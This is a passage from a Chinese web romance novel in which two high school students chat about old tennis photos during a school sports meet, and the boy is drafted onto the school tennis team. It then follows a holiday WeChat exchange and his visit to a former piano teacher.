俞杨：“对对对，这词用得好，宁王高明！” 到底是多年前的老照片了，俞杨找了好一会儿才翻到当年的报道，他点开帖子确认无误后，脸色兴奋，把电脑屏幕转向姜织宁。 “就这个！” 是一场青少年网球锦标赛，柯译衍是当年U12组的男子单打冠军，由于是单人报道，因此文章里全是柯译衍各个角度的抓拍。 姜织宁看到照片的第一眼，心里便忍不住感叹，柯译衍不愧是校草，小小年纪，就长得格外帅气耀眼，他和照片中的其他小球员简直不在一个画风里。 照片里，小柯译衍从头到脚一身纯白冷感穿搭，眼风冷冽锐利，嘴唇抿成冷漠直线，没有一张照片是笑脸，就连站在奖台上也是面无表情。 显得人特别拽。 大概是因为年龄还小，导致他身上散发出的盛气凌人攻击性，看着有一种独属于小朋友的奶凶感，莫名有点可爱。 姜织宁认识几名从小就在音暴学街舞的小舞者。 全都是小学生，别看平时模样乖巧可爱，只要音乐一响，整个人就会和照片里的柯译衍一样，瞬间切换成冷酷状态，一个比一个拽。 反差萌十分强烈。 俞杨兴致上来，又从手机里陆陆续续找出数张童年时期，大伙一起去海外夏令营的照片给姜织宁看。 姜织宁一张张欣赏，中途，唇角情不自禁扬起姨母笑，看到最后，她忍不住扭头对俞杨说：“柯译衍小时候这么可爱的吗？” “可可爱？？？” 俞杨宛如突发恶疾般，两颗眼珠子因为她无比离谱的形容词，几乎快要瞪出眼眶。 可爱？ 呵呵，绝不可能！ 柯译衍这辈子，都不可能和可爱沾上一丝丝关系！ 他把头摇成拨浪鼓，脸色惊恐说：“衍神确实从小就长很帅，但是你千万别让照片骗了，他小时候，可一点也不可爱啊！你别看衍神现在挺好相处的，他年纪小的时候，完全就是个冷漠自我的毒舌Bking，不可一世的拽王！” 俞杨：“宁王，你知道Bking什么意思不？” “知道啊。”姜织宁点点头，把手机还给他，用自己的理解翻译道，“不会好好说人话的装逼王嘛。” 这种人她见得不少，并且，她并不认为逼王帅气，正相反，她只会觉得逼王可能需要锤打，才能心里有点数。 就比如隔壁附中的狗皮膏药周胜扬。 俞杨听到她这么说，当场石化住，瞠目结舌，哑口无言。 熟悉的感觉又来了！ 时隔不久，他再一次在姜织宁面前体会到窒息的感觉。 怎么说呢，Bking这个词吧，其实既能贬义也能褒义，但姜织宁的这番理解就等于把人彻底打入了冷宫，很窒息。 俞杨深呼吸一口气，忍不住为自己兄弟找补，干笑解释：“呃也不能这么说，柯译衍他吧，主要是因为父母原因，所以小时候脾气不太好，不是会发火那种，就是习惯性板着副冰山脸。” “不爱搭理人，也不怎么和人说话，性格比较冷漠，不过他长得帅，所以不管走到哪都是焦点。这人学习成绩好，打球又厉害，所以他这种高冷范特别受女生欢迎。” 姜织宁不由笑起来，几乎能想象到小女生追着柯译衍跑的画面。 俞杨回忆起从前，笑说：“不过在男生眼里，柯译衍那张冷脸是很招人讨厌的。同性相斥嘛，男生们特嫉妒，特不服，心想凭什么啊，这冷脸逼，凭什么这么受女生欢迎啊？！那群男生和衍神玩不到一块儿，就觉得衍神是不好相处的拽王。” “就隔壁附中那狗贼，叫什么来着，哦，周胜扬，他就是嫉妒柯译衍的典型小人代表！小时候我们去国外参加网球夏令营，周狗和他的几个小跟班也报名参加了，哦对了，韩辰也在。” 姜织宁咦了声，诧异问：“你们很早就和韩辰认识了？” “对，就那次夏令营认识的。”俞杨点了点头，接着说，“当时周狗主动挑事，犯玻璃心，说柯译衍看他的眼神不对劲，非说，那是看垃圾才会有的眼神，哈哈哈哈，太逗了！净他妈离谱！” “啊？”姜织宁哭笑不得，问，“这怎么看出来的？” 俞杨放松后靠向椅背，每次回想起这件事，就忍不住疯狂拍腿大笑。 他乐得不行，一边哈哈笑，一边说：“我也不知道啊，都给我整懵了，我们几个人好端端坐在网球场外面休息，周狗突然跑过来碰瓷发疯，简直莫名其妙！” “不过话说起来啊，其实也不能完全怪周狗，主要是，衍神那个冰山脸瞅着确实不太友善，唉……”他佯装叹气道，“毕竟不是每个人都能像我一样，能习惯衍神那副拽王死样。” 姜织宁：“” 最后一句说得还挺得意是怎么回事？ 俞杨说到兴头上，悄咪咪透露说：“周狗也真是人如命其名，还挺会看主人眼色。宁王我和你说啊，确实有段时间，衍神打心眼里觉得大家都是垃圾，包括他自己，因为他曾经以为自己是从垃圾桶里捡来的，哈哈哈哈哈，你说逗不逗？” 姜织宁愣了愣：“啊？还有这事” 俞杨淡定表示：“没事，我小时候还一直觉得自己是外星人呢！” 姜织宁：“” 他说回正事，嬉皮笑脸道：“周狗带着他那帮小弟不依不饶搞事情，衍神肯定懒得和周狗废话啊，就不耐烦回了句——你觉得是就是。” “太逗了，哈哈哈哈哈！好家伙，差点没给周狗气死！总之呢，两人因为这件事起了点冲突，宁王你猜，最后怎么解决？” 小朋友闹矛盾还能怎么解决，自然不是动嘴就是动手。 “打架了？”姜织宁理所当然地说。 “那没有。”俞杨摆摆手，笑了笑，“衍神才不屑干这种掉价划不来的事，而且教练明令禁止我们动手打架，否则罚跑，最后就比网球啊，一盘定输赢，谁输谁道歉。” 她唇角微翘，下意识说：“那肯定是柯译衍赢。” “这不废话嘛。”俞杨双手交叠到脑后，笑嘻嘻说，“周狗输得特别惨，比分那是相当难看，他最后都被衍神打哭了！现场死命摔拍，摔完直接坐地上崩溃大哭，哎哟，那鼻涕眼泪流的，啧啧啧，简直没眼看！” 男生讲起故事来幽默有趣，姜织宁听得时不时笑出声，她临时想起一件事，顺嘴说：“好像周胜扬会参加这次的网球联赛。” “不是吧，他要参加比赛？？？” 俞杨顿了下，震惊反问。 姜织宁：“没记错的话，我有在比赛名单上看到他。” 俞杨摆摆手，口吻嘲弄：“这是干嘛呢？还特意跑来咱们学校丢脸，这么想不开，没用的，他绝对一轮游。” 正乐呵着，俞杨突然瞄见柯译衍从不远处走过来。 他心一紧，立马收起嬉笑脸色，低咳提醒：“衍神来了！衍神来了！” 姜织宁默契收敛神色，随之望去。 俞杨站起来，装模作样招呼道：“哟衍神，你咋来了啊？” 这话别人听着不会觉得奇怪，但是柯译衍一下子就能听出问题，他慢悠悠走进帐篷，瞥俞杨一眼，淡声说：“是需要和你提前报备吗？” “少冤枉！我可没这意思啊！”俞杨心虚挪开目光，双手叉腰，顾自朝外面走去，“哎，外头阳光真好，适合出去溜达溜达。” 这人绝对有鬼。 柯译衍皱眉盯着俞杨匆忙逃离的背影，三秒后，眼神怀疑看向姜织宁：“干什么，他说我坏话了？” 姜织宁一脸无辜：“没有啊，你比赛比完了？” “还没开始。” “什么项目啊？” 柯译衍随便拖了把椅子坐下：“四百。” “男子四百”姜织宁去看项目表，“还有半个多小时才开始检录呢，现在就要开始做准备吗？” 随后进来的班长拿好东西，临走前，笑眯眯讲：“我觉得啊，衍神主要是过来躲人。” 柯译衍：“” 姜织宁好奇看向柯译衍，就见他眼神锋利瞥了眼班长，满是警告。 干嘛啊，有什么秘密不能让她知道？ 姜织宁直接问出口：“躲人？他躲谁啊？” 班长意味深长地说：“当然是躲热情如火的学妹们。” 说完人就溜了。 柯译衍确实是特意过来躲人。 在学校里，大部分人知道低调校草不收礼物，不收情书的规矩，但是刚入学不久的高一学妹们消息滞后。 而且架不住有些女生天生胆子大，本着“管你什么规矩，反正我告白我的，你接不接受再说”的态度，明里暗里的，不断找上柯译衍示好。 运动会期间，按照规矩，学生们必须坐在看台上划分好的班级大本营里，但其实纪律并不严格，氛围自由宽松，有人互相串班坐，有人跑去其他地方玩。 所以那些胆大的女生们，就会借此良机，主动去认识柯译衍。 柯译衍原本冷酷抱臂坐在看台上，心中纳闷猜想，学校广播突然播放的钢琴曲到底是不是他弹的？ 怎么听着这么像，关键是，曲子的播放顺序和他听歌账号里的歌单极其相似。 然后又琢磨着，如果就是他弹的曲子，广播站的人是怎么发现他听歌账号的？ 算了，这也不重要，要么他直接注销黑历史账号算了。 所谓眼不见，心不烦。 就在他心烦沉思时，总有不认识的女生主动跑过来，借着各种名义想和他交朋友，一两个还好，人多了，他就应付的有点心累，挺烦的。 柯译衍毫不犹豫站起来，决定躲到姜织宁那边 姜织宁听懂班长的话，抿唇笑看着柯译衍，打趣说：“这么受欢迎啊。” 班长那张漏风大嘴巴。 柯译衍罕见语塞住。 不知道该怎么回话，无言片刻，他不自然偏头，轻叹了口气，无奈憋出一个字：“没。” 姜织宁按亮黑屏的电脑，输入密码后，扭头对他说：“你有没有觉得，赵阿姨今天早上做的蟹粉汤包超级好吃？” 柯译衍嗯了声，正想回她汤包是舅舅在外面餐厅预订的，冰箱里还有一些库存，话还没出口，他目光倏地停顿了下，然后从姜织宁脸上，缓缓平移到电脑屏幕上。 少年扬了扬眉，唇角微挑，漆黑眼眸里流露出几分意味深长。 姜织宁纳闷转身，看清屏幕的那一瞬，陷入沉默。 晕死，她忘记关网页了 此时，屏幕里显示着柯译衍站在领奖台上的照片，就是俞杨刚才找给她看的那篇新闻报道。 没等柯译衍主动开口，姜织宁就先发制人，装淡定说：“柯译衍，我发现你小时候很优秀哎，网球单打冠军哦。” 柯译衍：“” 这种时候，夸他也没用啊。 柯译衍懒散敞开腿，抱臂后靠向椅背，换了个更舒适的坐姿，然后下巴微抬，指了指电脑，耐人寻味问：“怎么发现的？” 姜织宁笑眯眯盖上笔记本，笑容很官方。 “我在写网球联赛的宣传文章嘛，网上找资料的时候，刚好跳出来你这篇，哎，你说巧不巧。” 巧什么巧？ 柯译衍哼笑一声。 胡扯呢她。 怎么可能相信。 这都好几年前的新闻了，早就被挪到犄角旮旯里，如果不是特意去搜索，根本不可能发现。 结合俞杨刚才鬼鬼祟祟的表现，柯译衍将目标锁定到他身上，盯着姜织宁，慢悠悠说：“俞杨是吧？” 姜织宁滞了秒，镇定摇头：“不是啊。” 柯译衍不在意点点头，笃定说：“就他。” 姜织宁：“” 姜织宁看他脸色沉冷，一副等会儿找人算账的不爽神情，不免担心起俞杨的生命安全，她想了想，试探问：“你是打算锤他吗？” 柯译衍平静回：“是啊，你怎么知道？” “”她瞬间急了，忍不住解释，“别呀，俞杨又不是故意的，一开始我真在查资料，他进来看到后才顺嘴回忆了几句小时候。” 姜织宁不满看着他，质问：“你这么小气干嘛啊，还是不是朋友了？又不是什么黑历史，让我看看怎么了，你小时候不是挺可爱的吗。” 柯译衍愣了愣，目光有片刻的茫然。 他困惑心想，可爱，是什么东西啊？ 讲真，这辈子，就从来没听人形容他可爱过。 姜织宁大方摊手，表示道：“那作为交换，你也可以去看看我小时候长什么样，电影《记忆》，你看过没？” 当然看过。 不过不会承认的。 柯译衍沉默几秒，口是心非地说：“没。” “哦。”她没察觉出少年态度反常，撑着脸颊回忆，“很多年前的老电影了，应该是嗯，我小学一年级演的吧。” 柯译衍嗯了声，不露破绽地问：“你演什么角色？” 姜织宁：“女主的女儿，结局不好，最后生病去世了。” 他不动声色点点头，附和说：“有时间去捧场。” “柯译衍，我发现你小时候还挺瘦。”姜织宁和他闲聊起来，“也有可能是因为合影里的小男生全都偏胖，所以显得你比较瘦。” 柯译衍勾唇浅笑，承认说：“以前确实偏瘦，身体不行。” “身体不好？你吗？” 姜织宁有些意外地看着他。 完全看不出来啊。 毕竟如今少年身高188，身型修长，肌肉线条匀称漂亮，一看就知道被家里培养得很好，从小健康长大。 柯译衍淡嗯了声：“上小学之前，身体不怎么样，经常生病去医院。” 亲生母亲柯卉芸曾经对他不管不问，幼时便无情把他丢在外公家，从不陪伴身边，所以导致他小时候疏于照顾，一度体弱多病。 因为隔三差五就要送小朋友去医院，外婆觉得不对劲，特意带他去寺庙里住了一段时间，但也不见好转多少。 舅舅柯绍之完全不相信老家人这套迷信做法，男人认为运动最靠谱，也没和老人家商量，直接把他丢去学习各种运动项目。 没想到，运动效果显著，他的身体素质因此猛涨。 姜织宁猜测问：“所以是为了锻炼身体，你才学网球？” 柯译衍点头说：“最开始学的比较杂，接触过挺多运动，只不过网球坚持时间最长。” 网球的坚持时间最长，也是他曾经一度以为，以后会走下去的路。 姜织宁：“那现在呢？” “什么？” “身体，还好吗？” 柯译衍笑了笑：“放心，很健康。” “哦，那就好。”姜织宁不禁感叹，“看来运动是厉害的，就像我后来转去学街舞，不说身体上怎么样吧，至少在情绪方面，对我的帮助很明显。” “哎，柯译衍——” 她话锋一转。 柯译衍：“嗯？” 姜织宁笑盈盈，试探说：“我刚才看到网球联赛名单上有你的名字，你报名啦？” “嗯。” “真报名了？” “嗯。” “怎么想的？”她按耐不住好奇。 柯译衍勾唇笑笑，懒洋洋回了句：“不是你说的吗。” 姜织宁茫然“啊？”了一声。 柯译衍：“让我体验校园文化，别错过校园活动啊。” 他云淡风轻地说：“想了想，这建议没毛病。” 既然早已决定放弃网球，回归校园学业，那么，让他参加所谓的校园活动，也不是不可以，这没什么负担。 柯译衍考虑过后，是这么想的。 姜织宁慢慢睁大眼，对这句听上去平平无奇的解释感到很惊奇。 她直勾勾盯着他，紧紧追问：“所以你就报名了？？？” 甚至差点夸他一句—— 你怎么这么听话！ 少女的目光太亮了，那双漂亮眼眸里此时盛满了无数星星，照耀进他心里。 无声对视数秒，柯译衍不着痕迹挪开眼，看向不远处随风飘扬的旗帜，淡声说：“还有俞杨那个烦人戏精啊。他放话威胁，说如果我不替他打，他就带几包纸巾天天坐我家门口哭，你乐意？” “俞杨怎么这么逗呢，唉，他不去做谐星可惜了。”姜织宁顿时笑起来，“先不说我乐不乐意，反正姑姑肯定会不客气报警的。” 既然话题聊到了身体健康，柯译衍的目光，自然而然地落到了桌角的保温杯上。 他斜睨姜织宁一眼，心想，她是真行。 之前是忘记按时喝药，今天更过分，保温杯直接落餐桌上，忘记带了，最后还是他帮忙拿到学校里。 想到这，柯译衍忽然开口：“保温杯给我看看。” 姜织宁愣了下：“干嘛？” “你说呢？”柯译衍平静看着她。 “” 姜织宁被他看得心里一紧，脸色微僵，意识到惨了，监工要突击检查。 她紧张盯着柯译衍，一言不发。 对峙数秒后，她慢吞吞扭头瞄向保温杯，作势配合伸手，下一秒，整个人猛然起身，试图抢走保温杯藏起来。 同一时间，柯译衍迅速起身，伸手拿保温杯。 笑话，他还能分辨不出姜织宁那点小心思吗，早就发现她表情不对劲，毕竟这位是老惯犯了。 姜织宁距离保温杯近，但柯译衍速度更快，一瞬间，两个人的手几乎同时触碰到杯子。 姜织宁用力握住保温杯，柯译衍手掌覆盖住她手背，连同她的手一起，慢半秒握住杯子。 世界突然安静下来。 两人身体前后紧贴在一起，姿势极尽亲密，少年掌心之下便是少女柔软纤细的手，温热细腻的触感穿透掌心，源源不断传来。 刹那间，柯译衍浑身僵了下，微微低头看向怀里的姜织宁。 少女柔顺的发丝轻扫他手臂，勾的他有点麻，有点痒，她那双大多数时候看着很清冷的眼眸俏皮笑弯着，睫毛浓密卷翘。 由于早上走方阵需要，她在眼角处贴了一只灵动应景的蓝色小蝴蝶，这一刻，小蝴蝶蹁跹而来，从他心湖上轻盈掠过。 姜织宁察觉到少年长久的注视，安静抬眸看过来，目光清凌凌地望着他。 目光交汇三秒后，柯译衍不动声色放开手，直起身，冷静说—— “丝带散了。” “布斯巴顿小姐。” 第46章 快夸我啊 她好像, 听到了心跳的声音。 但那声音消失的太快，快到让姜织宁误以为是一场错觉。 她没太在意，顺着柯译衍的话低头, 发现系在辫子尾部的蝴蝶结丝带散开了。 因为头上要戴礼帽，姜织宁原本打算扎个简易的低马尾, 结果早上姑姑看到她身穿布斯巴顿校服后，眼睛一亮, 兴致大起，非要给她编辫子, 说辫子才好看。 姑姑特意挑了条蓝色长丝带, 缠绕住头发, 给她编了个漂亮的蝎尾辫。 姜织宁坐下来，去绑丝带。 柯译衍迅速拿起保温杯, 打开盖子看了眼，发现中药已经喝过了。 所以, 她刚才是在和他演戏？ 服了，他鼻腔哼出一声笑, 慢悠悠合上杯盖，俯身把保温杯放到她面前。 姜织宁重新系好蝴蝶结, 然后抬眸望向柯译衍, 目光狡黠, 脸上露出俏皮笑容, 装无辜说：“啊，突然想起来, 我已经喝过中药了。怎么样, 这次没有辜负你的良心吧，你说是不是啊朋友？” “”柯译衍不咸不淡嗯了声, “意思是需要我夸你吗？” “哦，原来还有这种隐藏福利，哎呀，突然觉得中药变香了。”姜织宁有些意外，然后得寸进尺，脸上表情很认真，用力点头求夸奖，“需要的，你快点夸，有鼓励才有动力。” 柯译衍垂眸看着她，一言不发。 姜织宁直勾勾盯着少年，强忍住笑意，眨了眨眼，一本正经催了句：“快夸我啊。” 柯译衍：“……” 午后阳光倾斜，逐渐洒进帐篷里，耳畔吹来阵阵微风，少女发尾的长丝带在光晕中飘扬起令人心动的弧度，只要他伸手就能触碰到。 无言对视数秒后，柯译衍无奈弯了弯唇，对姜织宁的恶作剧无可奈何。 真是，拿她一点办法都没有。 他轻叹了口气，败下阵，妥协勾唇说：“做得很好，继续保持。” “嗯嗯。”姜织宁笑得眼睛直接弯成了月牙状，好学生点头，“放心，放心。” 不一会儿，吴瑞奇一路小跑进帐篷里。 “衍神，原来你躲在这儿呢，找你好半天了！” 男生单手叉腰，脸被骄阳晒得通红，气喘吁吁地说。 柯译衍懒散抬眼望向他，淡问：“有事？” 吴瑞奇把李老师特意交给他的队服递给柯译衍，笑着说：“诺，咱们江中网球队的队服，李老师让我给你的。” 队服？ 给他队服干什么？ 他什么时候进校队了？ 柯译衍眼中流露出一丝困惑，平静反问：“给我干什么？我又不是校队的。” 吴瑞奇就知道他会这么说，手里跟拿了块烫手山芋似的，赶忙把队服强硬塞进他手里，表情严肃说：“这我管不着啊！我就是一帮忙跑腿的，反正李老师发话了，他让我转告你，报名等同于入队，没得反悔！” 柯译衍：“” 怕柯译衍临时说放弃，要退赛，吴瑞奇快言快语补了句：“你已经报名网球联赛了啊，这可是代表我们大江中出征，不准退赛，没得反悔！” 柯译衍：“” 怎么还强迫上了？ 他只是临时起意参加比赛，纯属大发善心，代替俞杨上场，顺便体验一把校园活动而已，从没想过进校网球队。 “李老师在哪？” 柯译衍皱眉起身，打算去找李老师说明不入队的想法。 吴瑞奇嘿嘿笑道：“李老师刚坐车离开学校了，好像是去外地参加什么体育会议，过几天才回来，本来队服他打算亲自给你的，这不是时间来不及了嘛。” “这么巧？”柯译衍半信半疑。 “是啊！唉，你也别想太多了。”吴瑞奇嬉皮笑脸按着他坐下，好言相劝，“只是名义上多了一个身份而已，没什么大影响，衍神你看啊，毕竟是集体活动嘛，你不加入校队的话，怎么代表江中参赛？” 话是这么说，但总觉得哪里不对劲。 柯译衍冷脸抱臂，沉默不语，心里有种被人给忽悠卖了的不爽。 见柯译衍不再有动作，吴瑞奇暗暗松了口气，同时自豪心说—— 李老师，小吴同学幸不辱命！！！ 姜织宁默不作声，旁观了一会儿后，唇角翘起来，她笑着从柯译衍手里拿过崭新队服，岔开话题：“让我看看。” 吴瑞奇立马凑过来，说：“好看！咱们江中网球队的队服特好看，这是今年新设计的款式。” 是夏季款的队服。 纯白宽松短袖，肩膀到袖口处有条墨绿色斜杠，胸口印着江洲中学的墨绿色校徽，短裤清爽同色系，整体设计简洁大气，学院风，是挺好看的，少年感满满。 欣赏完毕，姜织宁把队服仔细叠好还给柯译衍，不忘对他坏笑道：“江中网球队加油。” 柯译衍：“” …… 三天运动会一晃而过。 运动会结束之后就是大家期盼已久的国庆长假，放假时间长，姜织宁自然要回自己家住，顾及到十一当天出行的人太多，她决定吃过晚饭后就回去。 到家先收拾了下东西，除了书本作业以及几样电子设备，其余都不用带走，整理好的白色行李箱绰绰有余。 中途，赵阿姨过来喊姜织宁吃晚饭，她应了声，拉上箱子拉链，洗干净手，关门走向柯译衍家。 一进门，瞄见客厅里的电视机开着，正在直播一年一度的网球大师赛，今年大咖球星云集江洲市，今天正好是资格赛的第一天。 姜织宁站柯译衍旁边，饶有兴致看了一会儿比赛直播，赵阿姨端着汤从厨房走出来，催促两人快上桌吃饭。 今天依然只有姜织宁和柯译衍一起吃晚饭，两位家长都不在家。 说来也巧，除了最初谈妥共同雇用赵阿姨的那几天，柯绍之和姜颖默契在餐桌上出现过几次，后来没过多久，这两位大人仿佛懒得演下去一般，齐齐上演消失，都不在家里吃饭了。 柯译衍松弛背靠椅子，低头回复完信息，把手机锁屏，随意扔桌上，抬眼看向姜织宁。 “今晚就走？” 姜织宁嚼着牛肉丸，鼓着脸颊点了点头，口齿不清地说：“等姑姑下班来接我。” 柯译衍微微颔首，然后下巴朝保温杯指了下，冷飕飕提醒一句：“希望你假期里自觉点。” 她会错意，愣了愣，咽下肉丸，目光震惊看着他，忍不住扬声说：“啊？怎么自觉啊？是要每天拍照给你检查吗？？？” 本来没这个意思，也完全没往这方面想过，他没这么多闲工夫，现在她主动一提，就让柯译衍满意觉得，这是个好办法。 柯译衍弯唇说：“嗯，就这样。” 姜织宁：“” 她真是服了哎！ 无语数秒，姜织宁再一次感叹：“柯译衍，相信我，你以后是真的适合做医生，你要不要认真考虑下？” 做什么医生，柯译衍冷淡扯了扯唇角，没好气回了句：“你以为我对每个人都这样？” “啊？”姜织宁顿住。 柯译衍也顿了顿，突然反应过来，他这话说得，实在太耐人寻味了。 沉默几秒后，他刚想开口解释，就见姜织宁恍然大悟，用一副我懂你的语气认真说：“明白了，你是出于对朋友的义气！” “” 她这理解力，柯译衍也不知道是该庆幸好，还是无语好，就心情挺无奈的。 什么也不想说了，他佩服点了点头，用一种“也行，你说是什么就是什么”的复杂眼神看着她。 饭吃到一半，姜织宁突然闲聊问：“你放假干嘛？” 柯译衍：“训练为主。” 尽管这次的网球联赛不是专业比赛，但该准备的还是要准备，他尊重每一个赛场。 姜织宁：“对哦，马上就是网球联赛了，那十一假期你还是住这边？” “不然？”柯译衍平淡反问。 “你一个人住这边的话” 话还没说完，姜织宁及时意识到不妥，连忙闭上嘴巴。 得知柯译衍长假依然独自住在舅舅家，不和妈妈住一起，姜织宁不由为他感到了几分孤独。 少年语气稀松平常，明摆出一副早已习惯的自洽态度，导致她无法就着话题再聊下去。 姜织宁慢慢喝着汤，认真想了想后，转移话题道：“你要是十一有时间的话，可以约朋友去我爷爷家附近玩，那边绿化环境很好，还有很多宠物。今年新开了好几家文化艺术中心，活动特别多，而且放假期间植物园会举办森林集市活动，挺适合放松的。” 她笑着说：“难得放假嘛，就当是比赛前的休息。” 柯译衍勾唇笑了笑，半开玩笑问：“你做导游吗？” “当然可以啊。”姜织宁当真了，爽快答应下来，笑回，“你哪天想来的话，提前和我说一声就行，那边我很熟。” 她主动拿起手机：“要不我们加个微信吧，这样方便联系。” 柯译衍稍稍犹豫了下，最终还是配合打开手机。 扫码通过，姜织宁发现柯译衍的微信名很简单，就是英文字母K，很好猜，肯定是柯这个字的拼音首字母。 目光停留在他的微信名上，有那么一瞬间，她莫名联想起那位音乐博主K，自娱自乐笑了几声，她快速改好备注名，放下手机继续吃饭。 姜织宁的微信名Ning，也很好理解，是宁的全拼，加上好友后，柯译衍在备注栏里删掉Ning，输入—— M-o- 刚输完第二个字母，指尖停了下来，他犹豫几秒，最后按下左上角的取消键，克制着，没去改她的备注名。 柯译衍随手点进她的朋友圈。 最新发一条的动态是个视频，文案配个了爆笑的表情包，他顺手打开，还没播放几秒，姜织宁就敏锐听出他在看什么。 她脸上立马露出无奈神色，为自己正名道：“先申明啊，那是个黑历史。” 是一个她跳舞时的失误片段，音暴hiphop老师无意间拍到的。 当时课堂上，hiphop老师随机点名三位学员，抽查上节课留下的练习作业，姜织宁便是抽查对象之一。 三名学员规矩站成一排，跟随音乐舞动，刚开始还挺和谐，等跳到中途，有个双手反向撑地，借用腰腹力量，身体往旁边翻转360度的动作，姜织宁出了意外。 她人是翻过去了，却没能成功站起来，脚底突然打滑，两只手也没撑住。 她震惊“哎？”了一声，扑通一下，就这么原地安详搞笑地躺下了。 周围认真观看的学员们瞬间集体表情破功，纷纷笑出声。 非常社死。 平时无比严厉的hiphop老师看到这一幕后，也忍不住咧嘴大笑起来，然后拿着录像中的手机，快速走到姜织宁身边。 一边对着她拍，一边装纳闷说：“哎哟，都来看看我们的老么宁宁，干什么啊，累了还是困了？这睡觉时间还没到呢，她怎么就原地躺下了？为师无法理解。宁宁啊，教室地板太硬，睡得不舒服吧，要不要给你找个枕头垫一垫啊？” 整个教室笑声一片。 姜织宁双手捂住通红脸颊，破罐子破摔躺在地板上，闷笑到肚子痛。 柯译衍欣赏完少女罕见的糗样，退出视频，按灭手机放回桌上，笑看着姜织宁，“那还发出来？” “好笑是吧？”姜织宁不在意摆摆手，好心态表示，“独乐不如众乐呗。” …… 十一长假，出门游玩的旅客特别多，江洲市各大景区人山人海。 姜织宁并不打算参与人挤人，假期前两天，她一直呆在SVIEW的广告片拍摄现场，陪周静瑶现场学习。 第一天，摄制组在棚里拍，姑姑亲自开车送她们过去。 姜织宁从小就拍广告，早已习惯忙中有序的拍摄现场，但对周静瑶来说，显然是一次让她兴奋不已的宝贵体验。 尤其是，当她看到那台价值百万级别的Phantom高速摄影机后，馋得眼泪口水都要流出来了。 周静瑶小心翼翼站在机器旁边，欲言又止，想摸又不敢摸，摄影师被她这副馋样逗得当场露出八颗牙，主动说：“想摸是吧，来来来，可以让你轻轻摸一下。” “真的吗？！！！”周静瑶激动得不行，连说好几声，“谢谢叔！！！” 第二天，摄制组在户外拍摄。 很凑巧，其中一个拍摄地点，恰好在柯译衍妈妈开的餐厅里。 拍摄需要赶时间赶进度，不仅是脑力活，更是件体力活，白天太阳炽热，旁边围观的人又多，姜织宁盯了会儿拍摄后，人被闷热得不行，头也有点犯晕。 她蹙眉脱掉外套，果断躲进阴凉的餐厅里，点了杯冰奶茶和蛋糕，坐着缓神。 周静瑶倒是精力充沛，仿佛一点也察觉不到累，全程紧跟着摄制组到处跑动。 过了一会儿，周静瑶兴冲冲跑向餐厅点单台。 负责点单的男人是餐厅负责人，一位雅痞型帅哥，因为假期客人多，男人特意到前台帮忙。 点单时，周静瑶直勾勾盯着男人的酷帅大花臂，好奇研究了好几眼，然后忍不住从包里拿出相机，礼帽询问帅哥，能不能拍一下他的花臂。 “这店长真帅哎！” 周静瑶端着餐盘，坐到姜织宁对面。 姜织宁懒洋洋撑着脸颊，瞄了眼还在户外工作的摄影团队，问道：“你不跟啦？” “不跟，学习得差不多了。”周静瑶心满意足地说，“我特意加了制片的微信，那姐姐说，下次有拍摄可以带上我，哈哈哈！赚了赚了！” 姜织宁抿唇微笑。 两人坐着休息，周静瑶熟练P好图，打包传给姜织宁，姜织宁挑了几张，随手发到朋友圈。 * 网球俱乐部。 假期间来打球的人不少，户外网球场充斥着清脆有力的击球声。 柯译衍阶段性完成俞杨教练布置的训练任务，下场休息。 他阔别赛场已久，教练团队早已全部解散，这会儿自然没有教练带他了。 原本只想约球友打几场球，找找手感就行了，架不住俞杨对网球联赛的态度比他还积极，非常上心，非要请自己的教练来帮他训练。 柯译衍拿着球拍走向休息区，人坐到长椅上，拧开矿泉水喝了两口，放下，从球包里拿出手机。 微信打开，立马弹出一大堆未读信息。 大部分是球友发来的，这帮人听说了他要参加校网球联赛的小道消息，对此感到很震惊，一窝蜂跑来找他确认消息是否属实。 找他的人实在太多，柯译衍费了点时间才回完信息，他顺势点开朋友圈，第一眼看到的就是姜织宁刚发出来的动态。 【Ning】：热到头晕 文字下面配了六张图，他看完照片，点了个赞，将页面切到聊天框。 【K】：在禾上？ 那边回的很快。 【Ning】：对，你怎么知道？ 【K】：咖啡杯。 咖啡杯上印着店名。 【Ning】：可以，观察力一绝啊你。 【K】：身体没事吧？ 【Ning】：啊？ 【K】：不是说热到头晕。 【Ning】：哦，现在没事了。唉，主要是今天气温高到离谱，这边游客又多，刚才就有点闷热到头晕。 【K】：在那边玩？ 【Ning】：一半一半吧。姑姑的时装品牌在这边拍广告，我陪周导过来现场学习，周导超级认真，我负责偷懒打酱油。 柯译衍勾唇笑起来。 【Ning】：你呢，在练球吗？ 【K】：嗯。 柯译衍抬手拍了一张球场照，发给她看。 【Ning】：对了，你明天过来提前给我发消息，我家距离植物园很近的，走路十五分钟。 “译衍！” 教练站在球场上喊人。 柯译衍抬眼望去，教练冲他挥手，“休息时间到了啊，训练开始。” 他点头起身。 【K】：要训练了。 【Ning】：好，加油啊，明天见。 第47章 得强制爱才行 和姜织宁约的是下午去森林集市, 但是柯译衍中午就过来了。 他幼时的钢琴老师赵芝，在这边的文化中心开了家音乐培训机构，赵芝听说他转学到江中读书, 第一时间就给他打了通电话叙旧。 今天正好顺路，便过来探望一眼。 柯译衍单手拎着花篮, 推开培训机构玻璃门，打了声招呼：“赵老师。” 赵芝正和家长交谈孩子的学习情况, 闻声，扭头看过来, 然后抬手指了下柯译衍, 对家长说：“说曹操曹操到, 诺，这就是我刚才说的那个学生, 现在在江中本部念高二。” 家长惊道：“哎哟！江中本部啊，那不得了, 大学霸呀！” 赵芝抿起唇，冷哼一声, 没好气说：“自身极有天赋，脑子也聪明, 乐感特别好, 但就是叛逆不着调, 不好好学古典, 非要去学爵士。” 女人的话听上去像是批评，其实细辨之下, 分明是对自家得意门生的夸奖。 嗯, 尊师说什么就是什么，柯译衍无奈笑了笑, 将花篮递给赵芝。 家长好奇打量着柯译衍，饶有兴致问道：“那现在是在学爵士？” 赵芝把花篮放到前台桌子上，冲柯译衍翻了个白眼，充满嫌弃地说：“还爵士呢，他啊，早就没学钢琴了！” “译衍。”说到这，赵芝走向摆在店门口的三角钢琴，招手示意说，“过来弹一段莫扎特d小调协奏曲，K466，弹给你小师妹听一听。” 柯译衍瞥了眼旁边的小师妹。 是个扎丸子头的小女孩，看着上小学的年纪，此时女孩生无可恋地坐在椅子上，鼻尖通红，眼角含泪，目光呆滞盯着钢琴。 看这副样子，大概率是被老师骂了，估计骂得不轻。 柯译衍收回目光，配合坐到钢琴凳上，弯唇调侃了一句：“怎么一见面您就让我当众表演。” 